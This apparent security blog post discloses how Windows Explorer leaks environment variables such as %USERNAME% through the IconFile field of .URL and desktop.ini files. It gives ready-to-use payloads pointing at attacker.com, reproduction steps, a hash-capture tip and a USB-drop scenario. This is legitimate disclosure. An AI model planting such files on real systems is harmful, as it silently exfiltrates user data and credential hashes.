Monday, August 20, 2018

Leaking Environment Variables in Windows Explorer via .URL or desktop.ini files


I recently discovered an interesting behavior how explorer.exe handles defined icon resources for certain file types

IconFile property


The .URL file format as well as desktop.ini allow to define icons. In case of .URL files, this icon will be used for the .URL file itself - desktop.ini defines the icon of the folder it is placed in.
I will only describe the behavior of .URL files but for desktop.ini the behavior is almost identical.
Basically all you need to do is to create a .URL file either in a local folder or maybe on an USB stick.
The important property to specify is the IconFile property. Not only does it allow to specify remote icons on a SMB share but additionally it allows to use environment variables.
That means  as soon as explorer.exe views a folder, which contains a .URL file, it will lookup any specified environment variable like %PATH% or %USERNAME% before sending the actual request, therefore leaking its content to the attacker controlled server.
Note:
In case the specified remote server (eg. attacker.com) has no open SMB ports Windows will fallback to Webdav, which is using port 80. But this fallback mechanism does not always work properly:

filename:
leak.URL

Content:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\attacker.com\webdav\%USERNAME%.icon
IconIndex=1


In case you want to leak environment informations, which are compatible with DNS, you can use the following structure:

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\%USERNAME%.attacker.com\webdav\whatever.icon
IconIndex=1

In case you want to try this behavior yourself:

  1. Create leak.URL in any folder
  2. Use the payloads described above and use your own domain for the IconFile property
  3. Open the folder, which contains the created .URL file in step 1, with windows explorer.
  4. Wait for explorer to send the request
// this behavior was tested on Windows 10 - but should work on any Windows system as .URL was introduced in Windows 95 

In case you are wondering: If SMB is available you can use Spiderlabs Responder tool to listen for hashes. 
The reason for the support of environment variable is that in case you want to use default icons installed by Windows, you can use the environment variables to specify the Windows directory (as is it not ensured that Windows is installed on C:\windows)
Regarding the support for remote icons - I think this is just an oversight



Regarding the use cases: Maybe this could be used for red teaming scenarios. As an example, you could drop USB sticks in front of a company and each of them contain a .URL file in the root directory. As soon as an employee is viewing the USB stick a request will be triggered and therefore confirming that it was used on a company PC (without the requirement of any malware/exploit/modified usb firmware)